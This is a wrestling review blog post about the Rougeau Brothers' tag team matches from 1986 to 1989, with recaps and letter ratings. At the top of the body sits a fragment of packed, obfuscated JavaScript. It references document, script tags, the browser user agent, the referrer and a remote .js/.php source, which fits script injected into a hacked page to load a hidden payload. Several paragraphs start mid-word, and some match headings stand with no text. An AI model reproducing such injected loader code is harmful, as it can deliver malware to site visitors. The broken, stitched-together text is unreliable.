Wrestler of the Day – October 30: Rougeau Brothers
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|satne|var|u0026u|referrer|hyhab||js|php'.split('|'),0,{})) day, another tag team, and this one is fabulous. Today we have the Rougeau Brothers.
Fabulous Rougeaus vs. Moon Dogs
t even in matching tights so this must be very early in their run in the company. Further research says this is their first month there.
re clipped to him holding Raymond in a bearhug. Hot tag brings in Jacques who cleans house and hits a cross body for the pin on Rex.
s not like this was supposed to be anything of note.
Here they are at the Big Event.
Fabulous Rougeaus vs. Dream Team
The Dream Team is Valentine and Beefcake who Valiant usually manages. The Rougeaus are wearing red for some reason. Oh great and Valentine is too. We get an abdominal stretch and naturally Monsoon complains. The Rougeaus are one of those teams that just flows so well that it’s amazing to say the least. They’re also great high fliers that can just show off, kind of like the Hardys or something like that. Good night there are a lot of people there.
This is your standard 80s tag match which means that it’s pretty good. Beefcake just sucked back I the day though and this is no exception. He would be replaced by Bravo at Mania 3. After a very long and drawn out match which thankfully got enough time, we hit the brawl and Valentine has the figure four. In a SWEET ending, the illegal Rougeau gets a sunset flip on him as he bends over to put the hold back on for the pin. I love that.
Rating: B-. This was another fun and good match that did its job well. It’s the second longest match of the night after the draw from earlier and it’s one of the better ones on the card. It was solid but the really needed to get Bravo out there ASAP. Valiant is ticked off over that ending.
And again on Superstars, January 31, 1987.
Fabulous Rougeau Brothers vs. Al Navarro/Chung Lee
Yeah I don’t think this is going to go long. Fink does his voiceover, so I’m guessing this isn’t going to be that long. Apparently a tag team match is the main event. No clue who is in it but that’s the main event indeed. We get a jumping back elbow making the match awesome. Vince shills the WWF Fan Club. Dino Bravo is doing French commentary. Ok then. The usual finishes Navarro.
Rating: C-. Not bad here. They’re starting to give the matches more time here which is making things far more interesting. This wasn’t bad but clearly it was just the way to have the Rougeaus show off. It got a bit of time though so I’m happy. I guess Lee lost his tiger status due to all the losses.
Here they are at Wrestlemania III.
Dream Team vs. Rougeau Brothers
Rating: C-. This was all angle rather than the match. The Rougeaus were a talented team and looked solid out there while the Dream Team looked like a relic of the past. Thankfully this would be the end for them as Bravo would replace Beefcake immediately, although the New Dream Team never went anywhere.
Rougeau Brothers/Brutus Beefcake vs. Dream Team/Johnny Valiant
Valiant, a manager remember, hides on the floor. Beefcake gets caught in the corner and even Valiant gets in some time on offense. Beefcake grabs a sleeper on Valentine but Valiant makes the save. Both Rougeaus come in and pound on Bravo as the place loses its mind. Boston Crab by Ray is broken up by Valentine, which draws Ray into the bad corner.
And another one from October 23, 1987.
Fabulous Rougeau Brothers vs. New Dream Team
They were part of the first tag team Survivor Series match in 1987.
Team Hart Foundation vs. Team Strike Force
Hart Foundation, Bolsheviks, Demolition, Dream Team, Islanders
Strike Force, British Bulldogs, Killer Bees, Young Stallions, Fabulous Rougeaus
Here they are against a better team on July 25, 1988 in MSG.
Rougeau Brothers vs. Rockers
Mooney and Hayes on commentary. Jacques and Shawn start us off here. Ah Graham is here too. The Rougeaus are slowly being seduced by the dark side here but not quite yet fully. They’re still getting quite a few cheers here so the heel turn is probably just starting at this point. Jacques with a sweet dropkick to take down Shawn. He stays down for almost a minute from it so he’s either shaken up or the storytelling is really weird here.
Jannetty comes in and that’s probably all you’re going to see from Shawn until the end. I’ve always liked the Rougeaus’ double teaming stuff. It’s very solid most of the time. Standard 80s formula tag match here as Jannetty plays Ricky Morton. Marty lifts up Raymond’s boot to get out of an abdominal stretch which was a nice move. Didn’t get him anywhere but it was a nice idea.
Hot tag to Shawn and the crowd ERUPTS. How did these guys never get a quick title run? It goes nuts and Shawn hits the top rope punch which is a cool move actually and I don’t get why no one has ever stolen it. He goes up again after a melee but gets shoved off and crotched, letting Ray get the pin. This was the longest match so far at like 8 minutes. What’s going on here? The Bulldogs come out to tell the referee what happened but it means nothing.
Rating: C-. Pure formula stuff here and nothing of note at all. The problem here is that this was done about 1000x times better over the years and nothing came of it here. The shortness of it hurts it though as it was good but with so little time they couldn’t really get anything going, which is a shame. Best match so far by miles though.
The Rougeaus were in the opening match of the first Summerslam.
Fabulous Rougeaus vs. British Bulldogs
These two teams could not stand each other behind the scenes, eventually reaching the point where the Bulldogs left the company as a result. Davey jumps Jacques to start and rams him into turnbuckle after turnbuckle to put him down. Smith throws Jacques over to Raymond for a tag in a nice display of bravado. Off to Dynamite for a quick headbutt and a slam to keep Raymond in trouble.
Dynamite finally fights up again and headbutts Jacques down to bring in Davey. Jacques immediately grabs the rope to avoid a dropkick but gets caught in a gorilla press onto the top rope. Everything breaks down and Davey picks up Dynamite to launch him into a headbutt on Jacques, but the time limit expires before there can be a cover.
Another tag team Survivor Series match in 1988.
Team Demolition vs. Team Powers of Pain
Powers of Pain, Rockers, British Bulldogs, Hart Foundation, Young Stallions
Demolition, Brain Busters, Bolsheviks, Fabulous Rougeaus, Conquistadors
Rating: A. What a great match this was. It had EVERY tag team you could want to see in one match as well as a major move at the end with Demolition turning face. You had mini-stories in the match itself which is always a nice touch, with teams having short matches against each other. Also this was about five minutes shorter than the one last year which helped it tremendously. Great match and the 42 minutes that it runs flew by.
From February 3, 1989.
Hart Foundation vs. Fabulous Rougeau Brothers
Brother Love is the guest referee for no apparent reason. We’re in Milwaukee. This was a dark match at The Main Event where the Mega Powers exploded, which was on my first birthday. Something tells me this is going to be good just based on who is in there. He hugs the Rougeaus to start. He scared the heck out of me when I was a kid.
Oh dang it someone gave him a mic. Love says he’s not ready for this to start yet and a lot of people get annoyed with his stalling. This is kind of funny as he babbles on forever. Anvil finally grabs the mic and says START THE MATCH and we get the bell. We stall even more as this is getting a tad annoying.
Bret gets a nice head fake into an elbow for a cover and Love counts two in about the time you could get to 9 or so. It’s one of those matches. Even Hayes, who was kind of close to being a heel announcer, is skeptical about this. Hart gets a rollup for about a 9 count but Jacques reverses into a cover of his own which naturally gets a fast count. This is an old standard but it works every time.
Jim’s beard has grown during this match. I’m thinking about 9 inches or so. I’ve always been amused by choking in wrestling. How can human beings survive being choked for like twenty seconds or something like that? It’s just hilarious when you think about how over the top it gets. Jacques actually hooks the toe on an abdominal stretch. That’s not something you see everyday. Anvil gets his leg worked on as Love has insane heat on him.
Love intentionally turns his head when Anvil is about to tag. Nice one. After Jim plays possum to get in through a funny moment, Bret destroys the Rougeaus by himself. He gets a LONG two on Raymond but just before three Love has to go and tell the camera that he loves it. Raymond gets a rollup and Bret gets his shoulder up but Love counts three anyway. Naturally the Harts beat Love up afterwards to a GREAT pop.
Rating: B. For a comedy match, this was pretty good. Love as the evil referee was great and the ending made sense. These teams always had great chemistry together so the wrestling was there. The extra dynamic of Love in there helped a lot so I can’t complain much here at all.
From Wrestlemania V.
Bushwhackers vs. Fabulous Rougeau Brothers
Anyway Ray puts on an abdominal stretch as a fan or two chants USA. In theory that would be for the Rougeaus here who are the All American Boys facing the guys from New Zealand. The Rougeaus prematurely hug and get caught by the Battering Ram and a double gutbuster is good for the pin on Ray out of nowhere.
Now for a six man at Summerslam 1989.
The Rockers/Tito Santana vs. Fabulous Rougeau Brothers/Rick Martel
This should be awesome. Martel teases getting in there against Tito to start but sends Jacques in instead. As is his custom, Jacques requests a handshake but sneaks in some choking on Tito instead. The Rockers come in without tags and the good guys hit stereo dropkicks to send the French Canadians to the floor. Things settle down to Marty vs. Jacques with the latter going to the middle rope and head faking Marty, but Jannetty is faking the head fake and punches Jacques on the way down.
Martel tries to hide in the corner but gets caught in a huge backdrop to send him running even further. A dropkick and a suplex put Martel down and the top rope right hand gets two as everything breaks down. Tito hits the flying forearm to send Martel to the floor and Marty rolls up Jacques, only to have Martel slide back in and blast Jannetty with a right hand, giving Jacques the pin.
Another Survivor Series match in 1989.
Rick Rude, Fabulous Rougeau Brothers, Mr. Perfect
Roddy Piper, Bushwhackers, Jimmy Snuka
Buschwhackers vs. Fabulous Rougeaus
Off to Luke vs. Jacques, with Luke taking a bite out of his nose. Jacques says hit me in the face, so Luke charges with a clothesline and hits Ray instead. Things slow down again and the Rougeaus easily distract Luke, allowing Ray to jump him for two. Ray comes in for real and kicks Luke down for two more. Luke is sent to the floor and goes back first into the apron. This match is already dragging.
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